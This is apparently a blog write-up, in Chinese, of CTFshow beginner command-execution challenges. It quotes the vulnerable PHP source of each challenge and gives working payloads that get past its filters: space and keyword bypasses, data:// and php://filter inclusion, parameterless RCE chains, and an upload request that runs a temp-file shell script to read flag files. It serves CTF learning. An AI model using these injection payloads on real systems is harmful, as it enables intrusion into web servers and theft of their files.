CTFshow_web入门_命令执行(web29-web77、web118-web122、web124)


CTFshow web入门 web入门_命令执行 持续更新
这一篇的草稿已经存了一段时间了,一方面觉得更新也没什么人看了,圈内已经有众多大佬的博客了,很多题目的hint里面也有题解,另一方面总感觉还没有写完,想等写完再发,后来复现的时候感觉题目也挺多的,慢慢更吧
写到这里就当是给自己看的了
2022-09-09更
复习一下web,顺便更完这个系列

晚风依旧很温柔,一个人慢慢走

web29

如果没有匹配到flag就执行$c
先传一个?c=system(‘ls’); 回显两个文件flag.php index.php
那就是要读flag.php了,方法太多了,这里用这个就行

?c=system('cat *');

web30

多了一点过滤,盲猜还是要看flag.php
把system过滤掉了可以用反引号替换

?c=echo `cat *`;

web31

命令执行里的空格可以用%09绕过

?c=echo(`nl%09*`);
或者
passthru("more%09f*");

web32

把反引号和echo和括号都禁了,还可以用include,注意不要留空格(include函数不需要空格也可以包含文件)

/?c=include$_POST["a"]?>
POST:a=php://filter/read=convert.base64-encode/resource=flag.php

web33-36

emmmm,禁了双引号,那干脆不用了

/?c=include$_POST[a]?>
POST:a=php://filter/read=convert.base64-encode/resource=flag.php

web37

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

考查文件包含,但是不能有flag字符,方法有很多,这里列举利用data协议命令执行和base64加密的文件包含

?c=data:text/plain,<?php system('cat f*.php');?>
?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web38

增加了对于php和file字符的过滤,试了一下短标签绕过php,没有用,那就用上面的base64编码吧

?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

include自带.php后缀,还是不影响我们使用data协议,hint:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

?c=data:text/plain,<?php system('cat fla*.php');?>

web40

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤了大量的符号和数字,一开始没有思路,直到后来发现,过滤掉的括号是中文的…,仔细比较就能发现不一样

(	  	中文
(		英文

然后就可以无参数RCE,这是之前做的一些笔记

#经典讲解
https://www.freebuf.com/articles/system/242482.html

例题:
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

如果code匹配过后只剩下一个 ; 则执行代码
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
'/[^\W]+\((?R)?\)/'		/w表示匹配字母,数字和下划线,等价于[A-Za-z0-9_]
((?R)? 表示递归匹配,
最终只有a(b(c()));这样的命令可以使用
所以我们需要无参数的rce	基于php强大的函数
一般来说,print_r(scandir('.'));可以用来查看当前目录所有文件名

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别)
current()返回数组中的单元,默认取第一个值:
print_r(scandir(current(localeconv())));	成功打印出当前目录下文件
或者使用print_r(scandir(pos(localeconv())));,pos是current的别名

phpversion()
phpversion()返回PHP版本,如5.5.9
floor(phpversion())返回 5
sqrt(floor(phpversion()))返回2.2360679774998
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
而chr(46)='.'

若flag.php为最后一个文件,则
show_source(end(scandir(getcwd())));		getcwd()获取当前目录绝对路径
或show_source(current(array_reverse(scandir(getcwd()))));		将数组逆序后选取第一个放回
如果是倒数第二个我们可以用: 
show_source(next(array_reverse(scandir(getcwd()))));
如果不是数组的最后一个或者倒数第二个呢?
我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组
所以我们可以用: 
show_source(array_rand(array_flip(scandir(getcwd()))));
或者: 
show_source(array_rand(array_flip(scandir(current(localeconv())))));

这里我们可以

?c=show_source(next(array_reverse(scandir(getcwd()))));

web41

emmm,这题不友好啊,看出题人的wp吧
https://blog.csdn.net/miuzzx/article/details/108569080

web42

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

这题把输出都重定向到了null里,就是不给我们回显,但是想到了linux下的命令执行的特点,解法还是挺多的

?c=cat flag.php%0a
?c=cat flag.php;
?c=cat flag.php||

web43

增加了分号;和cat过滤,解法很多

?c=nl fla*||
?c=tac fla*||

cat的部分绕过方法

cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
出处:https://www.sohu.com/a/440030737_120967809

web44

增加flag过滤,解法同上

web45

增加空格过滤,空格的绕过也是经典了

?c=tac%09fla*||

web46

增加数字过滤和*过滤,但是试了一下%09还能用,应该是表示的url编码会解码,*用?替换就行了

/?c=tac%09fl??????||

web47

增添了一些过滤,不过,上一题的wp完美避开了

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

web48

同上


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);

web49

可能出题的时候没有考虑到tac命令吧,居然还是上上题的wp,恰好避开了所有过滤


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

web50

终于对我的%09下手了

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

不知道为啥问号(?)好像没有用了

?c=tac<fla''g.php%0a

web51

也对tac下手了

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

看前面的命令绕过可知,还有一个nl没有被禁

?c=nl<fla''g.php||

web52

过尖括号

?c=nl${IFS}fla''g.php||
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

web53

感觉这里就直接执行代码了,不知道在考什么

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 
?c=nl${IFS}fl''ag.php

web54

好家伙,nl也被禁了


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

直接到目录里面找cat命令

?c=/bin/ca?${IFS}f???????

web55

禁用了所有小写字母,利用上题的思路,直接找/bin/base64

?c=/???/????64 ????.???

之后看了wp说是用无字母RCE
https://blog.csdn.net/qq_46091464/article/details/108557067
就这题来说的话好像不需要这么复杂,但是无字母RCE还是值得去复现一下

web56

和上个题目相比多禁用了数字…好像明白上次为啥更新到这里就不更了
这里需要利用上面无字母RCE的解题思路,详细一点的思路也可以参考这篇博文,主要就是因为php上传的文件放在/tmp目录下,可能包含大写字母,而大写字母ASCII码值位于 @ 和 [ 之间,因此可以用来检索大写字母
在这里插入图片描述
具体请求包如下:

POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: e54ef21f-1328-4a05-a422-b4eedfcd7e06.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2
Upgrade-Insecure-Requests: 1
Content-Length: 241

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/sh

cat flag.php
-----------------------------10242300956292313528205888--

web57

这次把 [ 给过滤掉了
在这里插入图片描述
这里需要注意的是,flag in 36.php,一开始没有看到这个题目半天没看出这是个啥,构建36的话还是有一些方法的,具体可以参考这篇博文

shell中
${_}:代表上一次命令执行的结果
$(( )):表示对()中的内容做运算

之前没有执行命令时$(())应该表示0,而用~取反则可以得到-1,多个-1相加可以得到-37,最后取反可以得到36
在这里插入图片描述
payload

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))

执行后查看源码即可获取flag
在这里插入图片描述

web58

在这里插入图片描述
乍一看题目这么简单?直接传一个c=system(‘ls’); 发事情并没有这么简单
在这里插入图片描述
system函数禁用,后面测试发现被禁用的还有exec(), shell_exec(), passthru()等等,用反引号好像也不太行,一番查找后找到了show_source()函数
在这里插入图片描述

web59

和上面的payload一样
这里提供以下两种payload

c=include "php://filter/read=convert.base64-encode/resource=flag.php";
c=show_source('flag.php');

web60~web65

好像还是和上面的一样,emmm,

web66~web67

虽然题目相似,但是这次show_source()不让用了,于是用的payload如下:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

解密base64如下
在这里插入图片描述
换一个highlight_file()函数
在这里插入图片描述

web68~70

好家伙,禁用highlight_file()把自己给禁用了,题目的源码都看不到了,只能换了一个include函数,成功绕过禁用

c=include('/flag.txt');

在这里插入图片描述

web71

这题有点奇怪了,禁用highlight_file()导致看不到题目
在这里插入图片描述
用上一题的payload之后发现字符好像都被替换了
在这里插入图片描述
但是看不到源码,因而也不知道题目的处理逻辑,而且{}里面好像已经查出flag了,应该不是在考函数绕过了
想半天没能绕过去,查资料发现不知道为啥好像其它师傅能看到源码

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

因而思路比较清晰了,查到flag后直接用exit()退出
在这里插入图片描述

web72

这题很迷,但是发现原来题目里可以下载源码。。。

web73

首先可以用 查看一下目录
在这里插入图片描述
include()即可得到flag
在这里插入图片描述

web74

scandir()被禁用,看不到目录了,直接c=inclde(‘/flagc.txt’);exit(); 查不到文件了,但是猜测flag文件名不大差,试了几个就试出来了,payload如下:

c=include('/flagx.txt');exit();

web 75

打不过打不过

先更新到这里吧
持续更新

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

monster663

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值